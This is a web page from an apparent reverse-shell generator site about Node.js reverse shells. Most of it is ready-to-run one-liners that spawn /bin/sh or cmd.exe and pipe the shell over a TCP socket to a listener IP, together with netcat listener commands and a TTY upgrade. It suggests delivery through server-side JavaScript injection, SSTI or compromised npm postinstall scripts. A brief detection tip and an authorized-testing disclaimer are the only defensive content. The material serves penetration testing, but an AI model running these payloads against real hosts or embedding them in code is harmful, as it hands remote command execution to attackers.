Skip to content
reverseshell

Node.js Reverse Shell: child_process Meets net.Socket

How a Node.js reverse shell works by piping a spawned shell through a TCP socket, the one-liner, and when Node is the interpreter you can rely on.

Published on 2 min read

Copy-paste one-liners

Open the generator

Ready to run against an authorized target. Replace 10.10.14.3 and 443 with your listener IP and port, or use the per-payload link to pre-fill the generator.

Node.js child_process

Cross-platform
Node.js child_process
node -e "const net=require('net'),cp=require('child_process'),sh=cp.spawn('/bin/sh',['-i']);const c=new net.Socket();c.connect(443,'10.10.14.3',()=>{c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c)});"

Node.js reverse shell using net and child_process.

Listener: rlwrap -cAr nc -lvnp 443

Generate with your IP/port

Node.js command loop

Cross-platform
Node.js command loop
node -e "const net=require('net'),cp=require('child_process'),c=net.connect(443,'10.10.14.3',()=>c.write('$ '));c.on('data',d=>cp.exec(d.toString(),(e,o,r)=>c.write(o+r+'$ ')));"

Node.js reverse command loop using net and exec.

Listener: rlwrap -cAr nc -lvnp 443

Generate with your IP/port

Node.js reverse sh

Cross-platform
Node.js reverse sh
node -e "require('child_process').spawn('/bin/sh',['-i'],{stdio:['pipe','pipe','pipe']}).on('spawn',function(){const n=require('net').connect(443,'10.10.14.3');this.stdin.pipe(n);n.pipe(this.stdin);this.stdout.pipe(n);this.stderr.pipe(n);})"

Node.js reverse shell spawning the selected shell directly.

Listener: rlwrap -cAr nc -lvnp 443

Generate with your IP/port

Upgrade to a full TTY

PTY upgrade
python3 -c 'import pty; pty.spawn("/bin/bash")' || python -c 'import pty; pty.spawn("/bin/bash")'

Then background with Ctrl-Z, run stty raw -echo; fg, and see the full TTY upgrade guide.

Detection: these one-liners are loud — outbound TCP from an interpreter, a spawned shell with a socket on its stdio, and odd parent/child process chains. See detecting reverse shells in logs.

Related shells: PythonPHPRuby

Node.js is now a first-class target interpreter. Anything running an Express API, a Next.js server, a build agent, or an Electron backend has node on the box — and a JavaScript injection or a compromised npm script gives you somewhere to run it. The Node reverse shell is just two core modules wired together.

The One-Liner

node -e 'sh=require("child_process").spawn("/bin/sh");net=require("net");c=new net.Socket();c.connect(443,"10.0.0.1",function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});'

How it fits together:

  • require("child_process").spawn("/bin/sh") launches a shell child process.
  • net.Socket() + c.connect(443, "10.0.0.1", ...) opens a TCP connection back to your listener.
  • The three pipe calls connect the streams: socket data flows into the shell's stdin, and the shell's stdout/stderr flow back out the socket.

It is the same socket-to-shell idea as every other payload, expressed with Node streams. Catch it with nc -lvnp 443.

Windows

On a Windows host with Node, swap the shell:

node -e 'sh=require("child_process").spawn("cmd.exe");net=require("net");c=new net.Socket();c.connect(443,"10.0.0.1",function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});'

For Windows generally, see windows reverse shells.

Where Node Payloads Land

Node payloads rarely come from a terminal — they come from the application:

  • A server-side JavaScript injection or template/SSTI bug.
  • A malicious or compromised dependency running in a postinstall script.
  • An exposed dev endpoint that evaluates input.

That context means the payload is usually embedded in JSON or a JS string before it runs, so quoting matters even more than usual.

When It Won't Connect

  1. No Node on the target — check which node; fall back to bash or python.
  2. Quoting — the payload is a JS string inside shell single quotes; nested contexts break it. See payload quoting.
  3. Egress filtered — prefer 443/80; test per egress filtering.
  4. Listener mismatch — see choosing a listener.

Full checklist: why reverse shells fail.

Generate It

The reverse shell generator emits the Node.js one-liner with your LHOST/LPORT and the matching listener.

Authorized Testing Only

Use Node.js reverse shells only against systems you own or are explicitly authorized to test. Authorization is what makes the work legitimate.

Related articles

A plain-English explanation of how reverse shells work, why they beat bind shells through firewalls, and how a reverse shell generator saves you from copy-paste mistakes.
The common bash reverse shell one-liners explained line by line, why they need bash (not sh), and how to fall back when /dev/tcp is missing.
How the python reverse shell one-liner works with socket and pty, why the python/python3 split breaks payloads, and a version-agnostic fallback.